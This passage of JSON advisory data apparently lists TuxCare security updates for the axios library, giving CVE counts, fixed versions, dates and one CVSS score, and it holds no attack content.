behavior. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T18:17:00Z","modified":"2026-10-17T12:57:55.369888774Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:55:58.519486Z"},{"id":"CLSA-2026-1792190983","title":"TuxCare security update for axios (6 CVEs)","description":"TuxCare rebuilt axios to address 6 CVEs. Fixed in 1.13.5-tuxcare.2.","status":"published","published":"2026-10-16T22:49:43Z","modified":"2026-10-17T01:30:04.259235355Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792193115","title":"TuxCare security update for axios (2 CVEs)","description":"TuxCare rebuilt axios to address 2 CVEs. Fixed in 1.18.1-tuxcare.2.","status":"published","published":"2026-10-16T23:25:15Z","modified":"2026-10-17T01:30:05.970618078Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792193199","title":"TuxCare security update for axios (4 CVEs)","description":"TuxCare rebuilt axios to address 4 CVEs. Fixed in 1.16.0-tuxcare.3.","status":"published","published":"2026-10-16T23:26:39Z","modified":"2026-10-17T01:30:05.018301605Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792429081","title":"TuxCare security update for axios (12 CVEs)","description":"TuxCare rebuilt axios to address 12 CVEs. Fixed in 1.17.0-tuxcare.3.","status":"published","published":"2026-10-19T16:58:01Z","modified":"2026-10-19T19:15:21.236533641Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792429317","title":"TuxCare security update for axios (11 CVEs)","description":"TuxCare rebuilt axios to address 11 CVEs. Fixed in 1.18.0-tuxcare.2.","status":"published","published":"2026-10-19T17:01:57Z","modified":"2026-10-19T19:15:21.243167107Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792447518","title":"TuxCare security update for axios (7 CVEs)","description":"TuxCare rebuilt axios to address 7 CVEs. Fixed in 1.16.1-tuxcare.1.","status":"published","published":"2026-10-19T22:05:18Z","modified":"2026-10-20T01:45:08.302153175Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792488905","title":"TuxCare security update for axios (12 CVEs)","description":"TuxCare rebuilt axios to address 12 CVEs. Fixed in 1.19.0-tuxcare.1.","status":"published","published":"2026-10-20T09:35:05Z","modified":"2026-10-20T13:45:11.467770435Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1793109367","title":"TuxCare security update for axios (6 CVEs)","description":"TuxCare rebuilt axios to address 6 CVEs. Fixed in 1.13.6-tuxcare.1.","status":"published","published":"2026-10-27T13:56:07Z","modified":"2026-10-27T19:30:04.48363845Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793110604","title":"TuxCare security update for axios (32 CVEs)","description":"TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.12.2-tuxcare.1.","status":"published","published":"2026-10-27T14:16:44Z","modified":"2026-10-27T19:30:03.618389185Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1794060370","title":"TuxCare security update for axios (12 CVEs)","description":"TuxCare rebuilt axios to address 12 CVEs. Fixed in 1.15.0-tuxcare.1.","status":"published","published":"2026-11-07T15:06:10Z","modified":"2026-11-07T19:00:38.800695575Z","updated_at":"2026-11-07T19:21:34.633914Z"}]}}